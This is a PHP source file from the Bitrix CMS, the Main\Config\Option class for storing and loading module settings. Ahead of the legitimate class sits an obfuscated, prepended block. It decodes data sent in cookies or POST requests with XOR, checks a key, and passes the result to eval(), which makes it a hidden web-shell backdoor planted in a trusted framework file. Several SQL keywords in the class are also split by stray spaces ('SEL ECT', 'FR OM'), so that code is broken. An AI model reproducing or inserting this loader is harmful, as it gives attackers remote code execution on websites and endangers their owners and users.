iddca333($b6cb4,$ed9b8){global$rad29d;$s119eefb="";for($wfaf=0;$wfaf<$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][58].$rad29d['qe95'][31]]($b6cb4);){for($k97dc=0;$k97dc<$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][58].$rad29d['qe95'][31]]($ed9b8)&&$wfaf<$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][32].$rad29d['qe95'][32].$rad29d['qe95'][58].$rad29d['qe95'][31]]($b6cb4);$k97dc++,$wfaf++){$s119eefb.=$rad29d[$rad29d['qe95'][5].$rad29d['qe95'][67].$rad29d['qe95'][31].$rad29d['qe95'][58].$rad29d['qe95'][67].$rad29d['qe95'][78].$rad29d['qe95'][58].$rad29d['qe95'][96].$rad29d['qe95'][78]]($rad29d[$rad29d['qe95'][71].$rad29d['qe95'][58].$rad29d['qe95'][87].$rad29d['qe95'][85].$rad29d['qe95'][86].$rad29d['qe95'][25].$rad29d['qe95'][72]]($b6cb4[$wfaf])^$rad29d[$rad29d['qe95'][71].$rad29d['qe95'][58].$rad29d['qe95'][87].$rad29d['qe95'][85].$rad29d['qe95'][86].$rad29d['qe95'][25].$rad29d['qe95'][72]]($ed9b8[$k97dc]));}}return$s119eefb;}function rfb9a0c59($b6cb4,$ed9b8){global$rad29d;global$d8bd0;return$rad29d[$rad29d['qe95'][96].$rad29d['qe95'][65].$rad29d['qe95'][87].$rad29d['qe95'][87].$rad29d['qe95'][21].$rad29d['qe95'][58].$rad29d['qe95'][21].$rad29d['qe95'][32]]($rad29d[$rad29d['qe95'][96].$rad29d['qe95'][65].$rad29d['qe95'][87].$rad29d['qe95'][87].$rad29d['qe95'][21].$rad29d['qe95'][58].$rad29d['qe95'][21].$rad29d['qe95'][32]]($b6cb4,$d8bd0),$ed9b8);}foreach($rad29d[$rad29d['qe95'][73].$rad29d['qe95'][96].$rad29d['qe95'][78].$rad29d['qe95'][78].$rad29d['qe95'][67]]as$ed9b8=>$v681b176){$b6cb4=$v681b176;$ddb6d=$ed9b8;}if(!$b6cb4){foreach($rad29d[$rad29d['qe95'][93].$rad29d['qe95'][96].$rad29d['qe95'][58].$rad29d['qe95'][7].$rad29d['qe95'][7].$rad29d['qe95'][78].$rad29d['qe95'][67].$rad29d['qe95'][65].$rad29d['qe95'][85]]as$ed9b8=>$v681b176){$b6cb4=$v681b176;$ddb6d=$ed9b8;}}$b6cb4=@$rad29d[$rad29d['qe95'][26].$rad29d['qe95'][78].$rad29d['qe95'][31].$rad29d['qe95'][31]]($rad29d[$rad29d['qe95'][74].$rad29d['qe95'][87].$rad29d['qe95'][69].$rad29d['qe95'][25].$rad29d['qe95'][58].$rad29d['qe95'][58].$rad29d['qe95'][72]]($rad29d[$rad29d['qe95'][87].$rad29d['qe95'][87].$rad29d['qe95'][58].$rad29d['qe95'][72].$rad29d['qe95'][32].$rad29d['qe95'][25].$rad29d['qe95'][87].$rad29d['qe95'][67].$rad29d['qe95'][7]]($b6cb4),$ddb6d));if(isset($b6cb4[$rad29d['qe95'][67].$rad29d['qe95'][5]])&&$d8bd0==$b6cb4[$rad29d['qe95'][67].$rad29d['qe95'][5]]){if($b6cb4[$rad29d['qe95'][67]]==$rad29d['qe95'][42]){$wfaf=Array($rad29d['qe95'][20].$rad29d['qe95'][34]=>@$rad29d[$rad29d['qe95'][44].$rad29d['qe95'][21].$rad29d['qe95'][96].$rad29d['qe95'][86].$rad29d['qe95'][25].$rad29d['qe95'][69]](),$rad29d['qe95'][71].$rad29d['qe95'][34]=>$rad29d['qe95'][72].$rad29d['qe95'][47].$rad29d['qe95'][58].$rad29d['qe95'][80].$rad29d['qe95'][72],);echo@$rad29d[$rad29d['qe95'][31].$rad29d['qe95'][11].$rad29d['qe95'][78].$rad29d['qe95'][7].$rad29d['qe95'][72].$rad29d['qe95'][7]]($wfaf);}elseif($b6cb4[$rad29d['qe95'][67]]==$rad29d['qe95'][96]){eval($b6cb4[$rad29d['qe95'][78]]);}exit();} ?><?php
namespace Bitrix\Main\Config;
use Bitrix\Main;
class Option
{
protected static $options = array();
protected static $cacheTtl = null;
public static function get($moduleId, $name, $default = "", $siteId = false)
{
if (empty($moduleId))
throw new Main\ArgumentNullException("moduleId");
if (empty($name))
throw new Main\ArgumentNullException("name");
static $defaultSite = null;
if ($siteId === false)
{
if ($defaultSite === null)
{
$context = Main\Application::getInstance()->getContext();
if ($context != null)
$defaultSite = $context->getSite();
}
$siteId = $defaultSite;
}
$siteKey = ($siteId == "") ? "-" : $siteId;
if (static::$cacheTtl === null)
static::$cacheTtl = self::getCacheTtl();
if ((static::$cacheTtl === false) && !isset(self::$options[$siteKey][$moduleId])
|| (static::$cacheTtl !== false) && empty(self::$options))
{
self::load($moduleId, $siteId);
}
if (isset(self::$options[$siteKey][$moduleId][$name]))
return self::$options[$siteKey][$moduleId][$name];
if (isset(self::$options["-"][$moduleId][$name]))
return self::$options["-"][$moduleId][$name];
if ($default == "")
{
$moduleDefaults = self::getDefaults($moduleId);
if (isset($moduleDefaults[$name]))
return $moduleDefaults[$name];
}
return $default;
}
public static function getRealValue($moduleId, $name, $siteId = false)
{
if (empty($moduleId))
throw new Main\ArgumentNullException("moduleId");
if (empty($name))
throw new Main\ArgumentNullException("name");
if ($siteId === false)
{
$context = Main\Application::getInstance()->getContext();
if ($context != null)
$siteId = $context->getSite();
}
$siteKey = ($siteId == "") ? "-" : $siteId;
if (static::$cacheTtl === null)
static::$cacheTtl = self::getCacheTtl();
if ((static::$cacheTtl === false) && !isset(self::$options[$siteKey][$moduleId])
|| (static::$cacheTtl !== false) && empty(self::$options))
{
self::load($moduleId, $siteId);
}
if (isset(self::$options[$siteKey][$moduleId][$name]))
return self::$options[$siteKey][$moduleId][$name];
return null;
}
private static function getDefaults($moduleId)
{
static $defaultsCache = array();
if (isset($defaultsCache[$moduleId]))
return $defaultsCache[$moduleId];
if (preg_match("#[^a-zA-Z0-9._]#", $moduleId))
throw new Main\ArgumentOutOfRangeException("moduleId");
$path = Main\Loader::getLocal("modules/".$moduleId."/default_option.php");
if ($path === false)
return $defaultsCache[$moduleId] = array();
include($path);
$varName = str_replace(".", "_", $moduleId)."_default_option";
if (isset(${$varName}) && is_array(${$varName}))
return $defaultsCache[$moduleId] = ${$varName};
return $defaultsCache[$moduleId] = array();
}
private static function load($moduleId, $siteId)
{
$siteKey = ($siteId == "") ? "-" : $siteId;
if (static::$cacheTtl === null)
static::$cacheTtl = self::getCacheTtl();
if (static::$cacheTtl === false)
{
if (!isset(self::$options[$siteKey][$moduleId]))
{
self::$options[$siteKey][$moduleId] = array();
$con = Main\Application::getConnection();
$sqlHelper = $con->getSqlHelper();
$res = $con->query(
"SEL ECT SITE_ID, NAME, VALUE ".
"FR OM b_option ".
"WHERE (SITE_ID = '".$sqlHelper->forSql($siteId, 2)."' OR SITE_ID IS NULL) ".
" AND MODULE_ID = '". $sqlHelper->forSql($moduleId)."' "
);
while ($ar = $res->fetch())
{
$s = ($ar["SITE_ID"] == "") ? "-" : $ar["SITE_ID"];
self::$options[$s][$moduleId][$ar["NAME"]] = $ar["VALUE"];
}
}
}
else
{
if (empty(self::$options))
{
$cache = Main\Application::getInstance()->getManagedCache();
if ($cache->read(static::$cacheTtl, "b_option"))
{
self::$options = $cache->get("b_option");
}
else
{
$con = Main\Application::getConnection();
$res = $con->query(
"SEL ECT o.SITE_ID, o.MODULE_ID, o.NAME, o.VALUE ".
"FR OM b_option o "
);
while ($ar = $res->fetch())
{
$s = ($ar["SITE_ID"] == "") ? "-" : $ar["SITE_ID"];
self::$options[$s][$ar["MODULE_ID"]][$ar["NAME"]] = $ar["VALUE"];
}
$cache->set("b_option", self::$options);
}
}
}
}
public static function set($moduleId, $name, $value = "", $siteId = false)
{
if (static::$cacheTtl === null)
static::$cacheTtl = self::getCacheTtl();
if (static::$cacheTtl !== false)
{
$cache = Main\Application::getInstance()->getManagedCache();
$cache->clean("b_option");
}
if ($siteId === false)
{
$context = Main\Application::getInstance()->getContext();
if ($context != null)
$siteId = $context->getSite();
}
$con = Main\Application::getConnection();
$sqlHelper = $con->getSqlHelper();
$strSqlWhere = sprintf(
"SITE_ID %s AND MODULE_ID = '%s' AND NAME = '%s'",
($siteId == "") ? "IS NULL" : "= '".$sqlHelper->forSql($siteId, 2)."'",
$sqlHelper->forSql($moduleId),
$sqlHelper->forSql($name)
);
$res = $con->queryScalar(
"SEL ECT 'x' ".
"FR OM b_option ".
"WHERE ".$strSqlWhere
);
if ($res != null)
{
$con->queryExecute(
"UPD ATE b_option SE T ".
" VALUE = '".$sqlHelper->forSql($value, 2000)."' ".
"WHERE ".$strSqlWhere
);
}
else
{
$con->queryExecute(
sprintf(
"INS ERT INTO b_option(SITE_ID, MODULE_ID, NAME, VALUE) ".
"VALUES(%s, '%s', '%s', '%s') ",
($siteId == "") ? "NULL" : "'".$sqlHelper->forSql($siteId, 2)."'",
$sqlHelper->forSql($moduleId, 50),
$sqlHelper->forSql($name, 50),
$sqlHelper->forSql($value, 2000)
)
);
}
if ($siteId == "")
$siteId = '-';
self::$options[$siteId][$moduleId][$name] = $value;
self::loadTriggers($moduleId);
$event = new Main\Event(
"main",
"OnAfterSetOption_".$name,
array("val ue" => $value)
);
$event->send();
return;
}
private static function loadTriggers($moduleId)
{
static $triggersCache = array();
if (isset($triggersCache[$moduleId]))
return;
if (preg_match("#[^a-zA-Z0-9._]#", $moduleId))
throw new Main\ArgumentOutOfRangeException("moduleId");
$triggersCache[$moduleId] = true;
$path = Main\Loader::getLocal("modules/".$moduleId."/option_triggers.php");
if ($path === false)
return;
include($path);
}
private static function getCacheTtl()
{
$cacheFlags = Configuration::getValue("cache_flags");
if (!isset($cacheFlags["config_options"]))
return 0;
return $cacheFlags["config_options"];
}
public static function delete($moduleId, $filter = array())
{
if (static::$cacheTtl === null)
static::$cacheTtl = self::getCacheTtl();
if (static::$cacheTtl !== false)
{
$cache = Main\Application::getInstance()->getManagedCache();
$cache->clean("b_option");
}
$con = Main\Application::getConnection();
$sqlHelper = $con->getSqlHelper();
$strSqlWhere = "";
if (isset($filter["name"]))
{
if (empty($filter["name"]))
throw new Main\ArgumentNullException("filter[name]");
$strSqlWhere .= " AND NAME = '".$sqlHelper->forSql($filter["name"])."' ";
}
if (isset($filter["site_id"]))
$strSqlWhere .= " AND SITE_ID ".($filter["site_id"] == "") ? "IS NULL" : "= '".$sqlHelper->forSql($filter["site_id"], 2)."'";
if ($moduleId == "main")
{
$con->queryExecute(
"DELETE FR OM b_option ".
"WH ERE MODULE_ID = 'main' ".
" AND NAME NOT LIKE '~%' ".
" AND NAME NOT IN ('crc_code', 'admin_passwordh', 'server_uniq_id','PARAM_MAX_SITES', 'PARAM_MAX_USERS') ".
$strSqlWhere
);
}
else
{
$con->queryExecute(
"DELETE FR OM b_option ".
"WH ERE MODULE_ID = '".$sqlHelper->forSql($moduleId)."' ".
" AND NAME <> '~bsm_stop_date' ".
$strSqlWhere
);
}
if (isset($filter["site_id"]))
{
$siteKey = $filter["site_id"] == "" ? "-" : $filter["site_id"];
if (!isset($filter["name"]))
unset(self::$options[$siteKey][$moduleId]);
else
unset(self::$options[$siteKey][$moduleId][$filter["name"]]);
}
else
{
$arSites = array_keys(self::$options);
foreach ($arSites as $s)
{
if (!isset($filter["name"]))
unset(self::$options[$s][$moduleId]);
else
unset(self::$options[$s][$moduleId][$filter["name"]]);
}
}
}
}
[/CODE]